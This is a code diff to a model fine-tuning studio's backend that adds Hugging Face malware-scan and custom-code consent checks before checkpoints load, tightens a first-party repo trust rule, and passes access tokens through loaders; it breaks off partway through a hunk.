diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py
index b28b61f088..a0959741a4 100644
--- a/studio/backend/core/export/export.py
+++ b/studio/backend/core/export/export.py
@@ -145,13 +145,19 @@ class ExportBackend:
max_seq_length: int = 2048,
load_in_4bit: bool = True,
trust_remote_code: bool = False,
+ hf_token: Optional[str] = None,
) -> Tuple[bool, str]:
"""
Load a checkpoint for export.
+ ``hf_token`` authenticates the actual weight load for gated/private
+ checkpoints, matching the token the worker used for the security preflight
+ (otherwise a gated repo passes scanning then 401s at from_pretrained).
+
Returns:
Tuple of (success: bool, message: str)
"""
+ token = hf_token if hf_token and hf_token.strip() else None
try:
logger.info(f"Loading checkpoint: {checkpoint_path}")
@@ -169,8 +175,10 @@ class ExportBackend:
model_id = base_model or checkpoint_path
- self._audio_type = detect_audio_type(model_id)
- self.is_vision = not self._audio_type and is_vision_model(model_id)
+ # Token the type-detection probes too, else a gated multimodal base
+ # 404s here and falls through to the text loader.
+ self._audio_type = detect_audio_type(model_id, hf_token = token)
+ self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token)
if self._audio_type == "csm":
from unsloth import FastModel
@@ -184,6 +192,7 @@ class ExportBackend:
auto_model = CsmForConditionalGeneration,
load_in_4bit = False,
trust_remote_code = trust_remote_code,
+ token = token,
)
elif self._audio_type == "whisper":
@@ -197,6 +206,7 @@ class ExportBackend:
load_in_4bit = False,
auto_model = WhisperForConditionalGeneration,
trust_remote_code = trust_remote_code,
+ token = token,
)
elif self._audio_type == "snac":
@@ -207,6 +217,7 @@ class ExportBackend:
dtype = None,
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
+ token = token,
)
elif self._audio_type == "bicodec":
@@ -218,6 +229,7 @@ class ExportBackend:
dtype = None if _IS_MLX else torch.float32,
load_in_4bit = False,
trust_remote_code = trust_remote_code,
+ token = token,
)
elif self._audio_type == "dac":
@@ -228,6 +240,7 @@ class ExportBackend:
max_seq_length = max_seq_length,
load_in_4bit = False,
trust_remote_code = trust_remote_code,
+ token = token,
)
elif self.is_vision:
@@ -238,6 +251,7 @@ class ExportBackend:
dtype = None,
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
+ token = token,
)
tokenizer = processor # vision: processor acts as tokenizer
@@ -249,6 +263,7 @@ class ExportBackend:
dtype = None,
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
+ token = token,
)
if _IS_MLX:
diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 20158d1891..d78866a494 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -301,6 +301,7 @@ class ExportOrchestrator:
max_seq_length: int = 2048,
load_in_4bit: bool = True,
trust_remote_code: bool = False,
+ approved_remote_code_fingerprint: Optional[str] = None,
hf_token: Optional[str] = None,
) -> Tuple[bool, str]:
"""Load a checkpoint for export.
@@ -312,6 +313,7 @@ class ExportOrchestrator:
"max_seq_length": max_seq_length,
"load_in_4bit": load_in_4bit,
"trust_remote_code": trust_remote_code,
+ "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
"hf_token": hf_token,
}
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index fb2a893014..7216221f44 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -188,10 +188,16 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
# Auto-enable trust_remote_code for NemotronH/Nano models.
if not trust_remote_code:
+ from utils.security.trusted_org import is_trusted_org_repo
+
_NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
_cp_lower = checkpoint_path.lower()
- if any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and (
- _cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/")
+ if (
+ any(sub in _cp_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS)
+ and (_cp_lower.startswith("unsloth/") or _cp_lower.startswith("nvidia/"))
+ # Genuine first-party Hub repo only (not a local/spoof name starting
+ # with "unsloth/"); authenticated so private repos resolve.
+ and is_trusted_org_repo(checkpoint_path, hf_token = cmd.get("hf_token"))
):
trust_remote_code = True
logger.info(
@@ -199,6 +205,81 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
checkpoint_path,
)
+ # Malware gate: a poisoned pickle deserializes on load even with
+ # trust_remote_code False, so check HF's security scan (metadata-only) every
+ # load. Local checkpoints have no Hub scan and are skipped in the helper; a
+ # LoRA merges its base weights, so gate that repo too.
+ from utils.security import evaluate_file_security, security_load_subdirs
+
+ malware_targets = [checkpoint_path]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+ _base = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token"))
+ if _base:
+ malware_targets.append(_base)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+ _hf_token = cmd.get("hf_token")
+ for target in dict.fromkeys(malware_targets):
+ _fs = evaluate_file_security(
+ target, hf_token = _hf_token, load_subdirs = security_load_subdirs(target, _hf_token)
+ )
+ if _fs.blocked:
+ _send_response(
+ resp_queue,
+ {
+ "type": "loaded",
+ "success": False,
+ "message": _fs.reason,
+ "error_kind": "malware_blocked",
+ "security": _fs.response_payload(),
+ "ts": time.time(),
+ },
+ )
+ return
+
+ # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH unless
+ # pinned-approved. A LoRA merges its base model, whose code runs, so gate it too.
+ if trust_remote_code:
+ from utils.security import evaluate_remote_code_consent_for_targets
+
+ consent_targets = [checkpoint_path]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a local or remote adapter's base so its base repo is gated too.
+ base_model = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token"))
+ if base_model:
+ consent_targets.append(base_model)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+ # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+ _rc = evaluate_remote_code_consent_for_targets(
+ consent_targets,
+ hf_token = cmd.get("hf_token"),
+ trust_remote_code = True,
+ approved_fingerprint = cmd.get("approved_remote_code_fingerprint"),
+ )
+ if _rc.blocked:
+ _send_response(
+ resp_queue,
+ {
+ "type": "loaded",
+ "success": False,
+ "message": (
+ f"Checkpoint '{_rc.model_name}' ships custom code flagged as "
+ f"{_rc.max_severity} by the security scan. Review and "
+ f"approve it to proceed."
+ ),
+ "error_kind": "remote_code_blocked",
+ "remote_code": _rc.response_payload(),
+ "ts": time.time(),
+ },
+ )
+ return
+
try:
_send_response(
resp_queue,
@@ -214,6 +295,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
max_seq_length = max_seq_length,
load_in_4bit = load_in_4bit,
trust_remote_code = trust_remote_code,
+ hf_token = cmd.get("hf_token"),
)
_send_response(
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 6b6deb1265..b81f217539 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -636,6 +636,7 @@ class InferenceOrchestrator:
load_in_4bit: bool = True,
hf_token: Optional[str] = None,
trust_remote_code: bool = False,
+ approved_remote_code_fingerprint: Optional[str] = None,
gpu_ids: Optional[list[int]] = None,
) -> bool:
"""Load a model for inference.
@@ -659,6 +660,7 @@ class InferenceOrchestrator:
"hf_token": hf_token or "",
"gguf_variant": getattr(config, "gguf_variant", None),
"trust_remote_code": trust_remote_code,
+ "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
"gpu_ids": gpu_ids,
}
resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
@@ -738,7 +740,8 @@ class InferenceOrchestrator:
logger.info("Model '%s' loaded successfully in subprocess", model_name)
return True
else:
- error = resp.get("error", "Failed to load model")
+ # Worker reports failures (consent gate included) under "message".
+ error = resp.get("message") or resp.get("error") or "Failed to load model"
self.loading_models.discard(model_name)
self.active_model_name = None
self.models.clear()
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 52d151ba15..f7435eebfb 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -260,13 +260,19 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
# Auto-enable trust_remote_code only for NemotronH/Nano (config parsing
# bugs require it). Must NOT match Llama-Nemotron (standard Llama arch).
+ from utils.security.trusted_org import is_trusted_org_repo
+
_NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
trust_remote_code = config.get("trust_remote_code", False)
if not trust_remote_code:
model_name = config["model_name"]
_mn_lower = model_name.lower()
- if any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS) and (
- _mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/")
+ if (
+ any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS)
+ and (_mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/"))
+ # Genuine first-party Hub repo only (not a local/spoof name starting
+ # with "unsloth/"); authenticated so private repos resolve.
+ and is_trusted_org_repo(model_name, hf_token = hf_token)
):
trust_remote_code = True
logger.info(
@@ -274,6 +280,65 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
model_name,
)
+ # Malware gate: a poisoned pickle deserializes during from_pretrained even
+ # with trust_remote_code False, so check HF's security scan (metadata-only)
+ # every load. For a LoRA, gate the base whose weights deserialize.
+ from utils.security import evaluate_file_security, security_load_subdirs
+
+ malware_targets = [config["model_name"]]
+ if mc.is_lora and getattr(mc, "base_model", None):
+ malware_targets.append(str(mc.base_model))
+ for target in dict.fromkeys(malware_targets):
+ _fs = evaluate_file_security(
+ target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
+ )
+ if _fs.blocked:
+ _send_response(
+ resp_queue,
+ {
+ "type": "loaded",
+ "success": False,
+ "message": _fs.reason,
+ "error_kind": "malware_blocked",
+ "security": _fs.response_payload(),
+ "ts": time.time(),
+ },
+ )
+ return
+
+ # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH
+ # unless pinned-approved. For a LoRA, gate the base whose code runs.
+ if trust_remote_code:
+ from utils.security import evaluate_remote_code_consent_for_targets
+
+ consent_targets = [config["model_name"]]
+ if mc.is_lora and getattr(mc, "base_model", None):
+ consent_targets.append(str(mc.base_model))
+ # Scan adapter + base as one unit, pinned by a single fingerprint.
+ _rc = evaluate_remote_code_consent_for_targets(
+ consent_targets,
+ hf_token = hf_token,
+ trust_remote_code = True,
+ approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+ )
+ if _rc.blocked:
+ _send_response(
+ resp_queue,
+ {
+ "type": "loaded",
+ "success": False,
+ "message": (
+ f"Model '{_rc.model_name}' ships custom code flagged as "
+ f"{_rc.max_severity} by the security scan. Review "
+ f"and approve it to proceed."
+ ),
+ "error_kind": "remote_code_blocked",
+ "remote_code": _rc.response_payload(),
+ "ts": time.time(),
+ },
+ )
+ return
+
# Heartbeat every 30s so the orchestrator knows we're alive during slow loads.
xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1"
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 0c3d42a2fe..d8126363fe 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -315,6 +315,7 @@ class TrainingBackend:
"tensorboard_dir": kwargs.get("tensorboard_dir", "runs"),
"resume_from_checkpoint": kwargs.get("resume_from_checkpoint"),
"trust_remote_code": kwargs.get("trust_remote_code", False),
+ "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"),
"gpu_ids": kwargs.get("gpu_ids"),
"s3_config": kwargs.get("s3_config"),
# Flipped to True only by the HTTP-fallback respawn after a stall.
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 65533b6946..6374589930 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1453,6 +1453,75 @@ def _run_mlx_training(event_queue, stop_queue, config):
model_random_state = random_seed if _model_seed is None else int(_model_seed)
_lora_seed = config.get("lora_random_state")
lora_random_state = random_seed if _lora_seed is None else int(_lora_seed)
+
+ # Malware gate (MLX): a poisoned pickle deserializes on load even with
+ # trust_remote_code False, so check HF's security scan (metadata-only) first.
+ # For a LoRA, gate the base whose weights deserialize.
+ from utils.security import evaluate_file_security
+
+ malware_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+ _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None)
+ if _base:
+ malware_targets.append(_base)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+ from utils.security import security_load_subdirs
+
+ for target in dict.fromkeys(malware_targets):
+ _fs = evaluate_file_security(
+ target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
+ )
+ if _fs.blocked:
+ _send(
+ "error",
+ error = _fs.reason,
+ error_kind = "malware_blocked",
+ security = _fs.response_payload(),
+ )
+ return
+
+ # Consent gate (MLX): the CUDA path gates in run_training_process, but MLX returns
+ # before that, so scan auto_map code here before FastMLXModel runs it. Block
+ # CRITICAL/HIGH unless pinned-approved; for a LoRA, gate the base whose code runs.
+ if config.get("trust_remote_code", False):
+ from utils.security import evaluate_remote_code_consent_for_targets
+
+ consent_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+ base_model = get_base_model_from_lora_identifier(
+ model_name, config.get("hf_token") or None
+ )
+ if base_model:
+ consent_targets.append(base_model)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+ # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+ _rc = evaluate_remote_code_consent_for_targets(
+ consent_targets,
+ hf_token = hf_token,
+ trust_remote_code = True,
+ approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+ )
+ if _rc.blocked:
+ _send(
+ "error",
+ error = (
+ f"Model '{_rc.model_name}' ships custom code flagged as "
+ f"{_rc.max_severity} by the security scan. Review it and "
+ f"re-run with approval to proceed.\n\n{_rc.findings_summary}"
+ ),
+ error_kind = "remote_code_blocked",
+ remote_code = _rc.response_payload(),
+ )
+ return
+
model, tokenizer = FastMLXModel.from_pretrained(
model_name,
load_in_4bit = config.get("load_in_4bit", True),
@@ -2100,11 +2169,16 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
# NemotronH needs trust_remote_code=True to work around config-parsing bugs.
# Other 5.x models are native and don't need it (it bypasses the compiler,
# disabling fused CE). Must NOT match Llama-Nemotron (standard Llama arch).
+ from utils.security.trusted_org import is_trusted_org_repo
+
_NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
_lowered = model_name.lower()
if (
any(sub in _lowered for sub in _NEMOTRON_TRUST_SUBSTRINGS)
and (_lowered.startswith("unsloth/") or _lowered.startswith("nvidia/"))
+ # Confirm a genuine first-party Hub repo (not a local/spoofed name starting
+ # with "unsloth/"); authenticated so private first-party repos resolve.
+ and is_trusted_org_repo(model_name, hf_token = config.get("hf_token") or None)
and not config.get("trust_remote_code", False)
):
config["trust_remote_code"] = True
@@ -2113,6 +2187,81 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
model_name,
)
+ # 1a. Malware gate: a poisoned pickle deserializes on load even with
+ # trust_remote_code False, so check HF's security scan (metadata-only) first.
+ # For a LoRA, gate the base whose weights deserialize.
+ from utils.security import evaluate_file_security
+
+ malware_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+ _base = get_base_model_from_lora_identifier(model_name, config.get("hf_token") or None)
+ if _base:
+ malware_targets.append(_base)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+ from utils.security import security_load_subdirs
+
+ _ls_hf = config.get("hf_token") or None
+ for target in dict.fromkeys(malware_targets):
+ _fs = evaluate_file_security(
+ target, hf_token = _ls_hf, load_subdirs = security_load_subdirs(target, _ls_hf)
+ )
+ if _fs.blocked:
+ event_queue.put(
+ {
+ "type": "error",
+ "error": _fs.reason,
+ "error_kind": "malware_blocked",
+ "security": _fs.response_payload(),
+ "ts": time.time(),
+ }
+ )
+ return
+
+ # 1a'. Consent gate: scan auto_map Python before it runs; refuse CRITICAL/HIGH
+ # unless pinned-approved.
+ if config.get("trust_remote_code", False):
+ from utils.security import evaluate_remote_code_consent_for_targets
+
+ # A LoRA adapter's base is where custom code runs, so gate it too.
+ consent_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too.
+ base_model = get_base_model_from_lora_identifier(
+ model_name, config.get("hf_token") or None
+ )
+ if base_model:
+ consent_targets.append(base_model)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+ # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+ _rc = evaluate_remote_code_consent_for_targets(
+ consent_targets,
+ hf_token = config.get("hf_token") or None,
+ trust_remote_code = True,
+ approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+ )
+ if _rc.blocked:
+ event_queue.put(
+ {
+ "type": "error",
+ "error": (
+ f"Model '{_rc.model_name}' ships custom code flagged as "
+ f"{_rc.max_severity} by the security scan. Review it and "
+ f"re-run with approval to proceed.\n\n{_rc.findings_summary}"
+ ),
+ "error_kind": "remote_code_blocked",
+ "remote_code": _rc.response_payload(),
+ "ts": time.time(),
+ }
+ )
+ return
+
# ── 1b. Install fast-path kernel libraries for the chosen model.
# 1) causal-conv1d ALWAYS runs eagerly via the substring path: some SSM
# modeling files lazy_load it without calling is_causal_conv1d_available.
@@ -3064,6 +3213,73 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
training_type = config.get("training_type", "LoRA/QLoRA")
use_lora = training_type == "LoRA/QLoRA"
+ # Malware gate (embedding): a poisoned pickle deserializes on load even with
+ # trust_remote_code False, so check HF's security scan (metadata-only) first.
+ # For a LoRA, gate the base whose weights deserialize.
+ from utils.security import evaluate_file_security
+
+ malware_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+ _base = get_base_model_from_lora_identifier(model_name, hf_token)
+ if _base:
+ malware_targets.append(_base)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for malware scan: %s", exc)
+ from utils.security import security_load_subdirs
+
+ for target in dict.fromkeys(malware_targets):
+ _fs = evaluate_file_security(
+ target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
+ )
+ if _fs.blocked:
+ event_queue.put(
+ {
+ "type": "error",
+ "error": _fs.reason,
+ "error_kind": "malware_blocked",
+ "security": _fs.response_payload(),
+ "ts": time.time(),
+ }
+ )
+ return
+
+ # Consent gate (embedding): scan any auto_map code before it runs; block
+ # CRITICAL/HIGH unless pinned-approved. A no-op without auto_map.
+ if config.get("trust_remote_code", False):
+ from utils.security import evaluate_remote_code_consent_for_targets
+
+ consent_targets = [model_name]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+ _cbase = get_base_model_from_lora_identifier(model_name, hf_token)
+ if _cbase:
+ consent_targets.append(_cbase)
+ except Exception as exc:
+ logger.debug("Could not resolve LoRA base for consent scan: %s", exc)
+ # Scan adapter + base as one combined unit, pinned by a single fingerprint.
+ _rc = evaluate_remote_code_consent_for_targets(
+ consent_targets,
+ hf_token = hf_token,
+ trust_remote_code = True,
+ approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+ )
+ if _rc.blocked:
+ event_queue.put(
+ {
+ "type": "error",
+ "error": (
+ f"Model '{_rc.model_name}' ships custom code flagged as "
+ f"{_rc.max_severity} by the security scan. Review it and "
+ f"re-run with approval to proceed.\n\n{_rc.findings_summary}"
+ ),
+ "error_kind": "remote_code_blocked",
+ "remote_code": _rc.response_payload(),
+ "ts": time.time(),
+ }
+ )
+ return
+
model = FastSentenceTransformer.from_pretrained(
model_name = model_name,
max_seq_length = max_seq_length,
diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py
index 584f82dea0..6237197072 100644
--- a/studio/backend/models/export.py
+++ b/studio/backend/models/export.py
@@ -51,6 +51,14 @@ class LoadCheckpointRequest(BaseModel):
False,
description = "Allow loading models with custom code. Only enable for checkpoints/base models you trust.",
)
+ approved_remote_code_fingerprint: Optional[str] = Field(
+ None,
+ description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
+ )
+ hf_token: Optional[str] = Field(
+ None,
+ description = "Hugging Face token used to scan/load gated checkpoints and their base models.",
+ )
class ExportStatusResponse(BaseModel):
diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py
index fdc3bb25c6..88799604e0 100644
--- a/studio/backend/models/inference.py
+++ b/studio/backend/models/inference.py
@@ -42,6 +42,10 @@ class LoadRequest(BaseModel):
False,
description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.",
)
+ approved_remote_code_fingerprint: Optional[str] = Field(
+ None,
+ description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
+ )
chat_template_override: Optional[str] = Field(
None,
description = "Custom Jinja2 chat template to use instead of the model's default",
@@ -149,6 +153,11 @@ class ValidateModelResponse(BaseModel):
False,
description = "Whether the model defaults require trust_remote_code to be enabled for loading.",
)
+ requires_security_review: bool = Field(
+ False,
+ description = "Whether Hugging Face's security scan flagged unsafe files (e.g. a "
+ "malicious pickle), so the load is hard-blocked pending review.",
+ )
context_length: Optional[int] = Field(
None,
description = "Native training context length, read from the GGUF header when the file "
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index 6cf8907b84..ae3061d943 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -108,6 +108,10 @@ class TrainingStartRequest(BaseModel):
False,
description = "Allow loading models with custom code (e.g. NVIDIA Nemotron). Only enable for repos you trust.",
)
+ approved_remote_code_fingerprint: Optional[str] = Field(
+ None,
+ description = "sha256 fingerprint from the remote-code scan, pinning user approval of this exact custom-code version.",
+ )
# Dataset parameters
hf_dataset: Optional[str] = Field(None, description = "HuggingFace dataset identifier")
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index f7b3a56a71..1b71cf5f57 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -93,6 +93,8 @@ async def load_checkpoint(
max_seq_length = request.max_seq_length,
load_in_4bit = request.load_in_4bit,
trust_remote_code = request.trust_remote_code,
+ approved_remote_code_fingerprint = request.approved_remote_code_fingerprint,
+ hf_token = request.hf_token,
)
if not success:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 0b95ad3987..bfceb9b904 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -2037,9 +2037,8 @@ async def load_model(
audio_type = _gguf_audio,
has_audio_input = getattr(llama_backend, "_has_audio_input", False),
inference = inference_config,
- requires_trust_remote_code = bool(
- inference_config.get("trust_remote_code", False)
- ),
+ # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model).
+ requires_trust_remote_code = False,
context_length = llama_backend.context_length,
max_context_length = llama_backend.max_context_length,
native_context_length = llama_backend.native_context_length,
@@ -2086,8 +2085,8 @@ async def load_model(
audio_type = _model_info.get("audio_type"),
has_audio_input = _model_info.get("has_audio_input", False),
inference = inference_config,
- requires_trust_remote_code = bool(
- inference_config.get("trust_remote_code", False)
+ requires_trust_remote_code = _resolve_loaded_trust_remote_code(
+ backend.active_model_name, _model_info, inference_config
),
supports_reasoning = _sf_supports_reasoning,
reasoning_style = _sf_reasoning_style,
@@ -2325,7 +2324,8 @@ async def load_model(
audio_type = _gguf_audio,
has_audio_input = llama_backend._has_audio_input,
inference = inference_config,
- requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)),
+ # GGUF loads via llama.cpp: auto_map never executes, so inert (matches validate_model).
+ requires_trust_remote_code = False,
context_length = llama_backend.context_length,
max_context_length = llama_backend.max_context_length,
native_context_length = llama_backend.native_context_length,
@@ -2418,6 +2418,7 @@ async def load_model(
load_in_4bit = load_in_4bit,
hf_token = request.hf_token,
trust_remote_code = request.trust_remote_code,
+ approved_remote_code_fingerprint = request.approved_remote_code_fingerprint,
gpu_ids = effective_gpu_ids,
)
@@ -2458,6 +2459,23 @@ async def load_model(
# Classify reasoning/tool flags via the GGUF sniffer.
_sf_flags = _detect_safetensors_features(backend, _chat_template)
+ # Report validate_model's requirement (raw auto_map OR YAML) plus the value the
+ # load used, and persist it, so a later retry/rollback doesn't send
+ # trust_remote_code=false for a custom-code model (and status reports it too).
+ _requires_rc = _resolve_loaded_trust_remote_code(
+ config.identifier,
+ None,
+ inference_config,
+ request.hf_token,
+ trust_remote_code_used = bool(getattr(request, "trust_remote_code", False)),
+ )
+ try:
+ backend.models.setdefault(config.identifier, {})["requires_trust_remote_code"] = (
+ _requires_rc
+ )
+ except Exception:
+ pass
+
return LoadResponse(
status = "loaded",
model = model_log_label if native_grant_backed else config.identifier,
@@ -2469,7 +2487,7 @@ async def load_model(
audio_type = config.audio_type,
has_audio_input = config.has_audio_input,
inference = inference_config,
- requires_trust_remote_code = bool(inference_config.get("trust_remote_code", False)),
+ requires_trust_remote_code = _requires_rc,
supports_reasoning = _sf_flags["supports_reasoning"],
reasoning_style = _sf_flags["reasoning_style"],
reasoning_always_on = _sf_flags["reasoning_always_on"],
@@ -2522,6 +2540,76 @@ async def load_model(
raise HTTPException(status_code = 500, detail = f"Failed to load model: {msg}")
+def _requires_trust_remote_code_for_model(
+ model_identifier: str, hf_token: Optional[str] = None
+) -> bool:
+ """Whether loading this model would execute custom repo code, so the consent
+ dialog must run first. True if the Studio YAML default enables
+ ``trust_remote_code`` OR the raw config declares an ``auto_map`` (Hub/local,
+ config.json or tokenizer_config.json). Reads raw JSON only; never imports
+ model code."""
+ from utils.inference import load_inference_config
+
+ try:
+ if bool(load_inference_config(model_identifier).get("trust_remote_code", False)):
+ return True
+ except Exception:
+ pass
+ try:
+ from utils.security.consent import _config_has_auto_map
+ return _config_has_auto_map(model_identifier, hf_token) is True
+ except Exception:
+ return False
+
+
+def _resolve_loaded_trust_remote_code(
+ model_id,
+ model_info,
+ inference_config,
+ hf_token = None,
+ trust_remote_code_used = False,
+) -> bool:
+ """TRC requirement to report for an ALREADY-LOADED model, consistent with
+ ``validate_model``.
+
+ ``validate_model`` reports ``requires_trust_remote_code`` from
+ ``_requires_trust_remote_code_for_model`` (YAML default OR raw ``auto_map``), but
+ the load / already-loaded / status responses historically reported only the YAML
+ default. That dropped raw-``auto_map`` models: after approving and loading one, the
+ response said ``false``, so the frontend stored ``false`` and a later retry/rollback
+ sent ``trust_remote_code=false`` and failed.
+
+ Resolution order: a value stored on the model at load time (so a status refresh does
+ not re-derive it) -> the trust_remote_code the load actually used -> the YAML default
+ -> the raw ``auto_map`` check (reads the loaded model's cached config; no network)."""
+ stored = (model_info or {}).get("requires_trust_remote_code")
+ if stored is not None:
+ return bool(stored)
+ if trust_remote_code_used or bool((inference_config or {}).get("trust_remote_code", False)):
+ return True
+ try:
+ return bool(_requires_trust_remote_code_for_model(model_id, hf_token))
+ except Exception:
+ return False
+
+
+def _requires_security_review_for_model(
+ model_identifier: str, hf_token: Optional[str] = None
+) -> bool:
+ """Whether Hugging Face's security scan flagged unsafe files for this repo, so
+ the consent dialog must open as a hard block before loading. Metadata-only;
+ never downloads the flagged files. Fails open (False) on any error."""
+ try:
+ from utils.security import evaluate_file_security, security_load_subdirs
+ return evaluate_file_security(
+ model_identifier,
+ hf_token,
+ load_subdirs = security_load_subdirs(model_identifier, hf_token),
+ ).blocked
+ except Exception:
+ return False
+
+
@router.post("/validate", response_model = ValidateModelResponse)
async def validate_model(
request: ValidateModelRequest, current_subject: str = Depends(get_current_subject)
@@ -2550,7 +2638,34 @@ async def validate_model(
detail = f"Invalid model identifier: {model_log_label}",
)
+ # Both checks cover the [adapter, base] set (matching the scan route and workers):
+ # either repo can ship auto_map code or a poisoned pickle.
+ security_targets = [config.identifier]
+ try:
+ from utils.models.model_config import get_base_model_from_lora_identifier
+
+ # Resolve a LOCAL or REMOTE adapter's base so its code/weights are reviewed too.
+ _base = get_base_model_from_lora_identifier(model_identifier, request.hf_token)
+ if _base:
+ security_targets.append(_base)
+ except Exception:
+ pass
+ security_targets = list(dict.fromkeys(security_targets))
+
is_gguf = getattr(config, "is_gguf", False)
+ # A selected GGUF loads via llama.cpp: auto_map Python and root pickle weights in a
+ # mixed repo are inert for this load, so gating on them is a false positive. Only
+ # run the remote-code/security preflight for non-GGUF loads.
+ requires_trust_remote_code = False
+ requires_security_review = False
+ if not is_gguf:
+ requires_trust_remote_code = any(
+ _requires_trust_remote_code_for_model(_t, request.hf_token)
+ for _t in security_targets
+ )
+ requires_security_review = any(
+ _requires_security_review_for_model(_t, request.hf_token) for _t in security_targets
+ )
# Native context length, read from the local GGUF header when present.
# Lets the staged ("Load on selection" off) flow populate the context
# slider before the GPU load; None until the file is downloaded.
@@ -2587,9 +2702,8 @@ async def validate_model(
is_gguf = is_gguf,
is_lora = getattr(config, "is_lora", False),
is_vision = getattr(config, "is_vision", False),
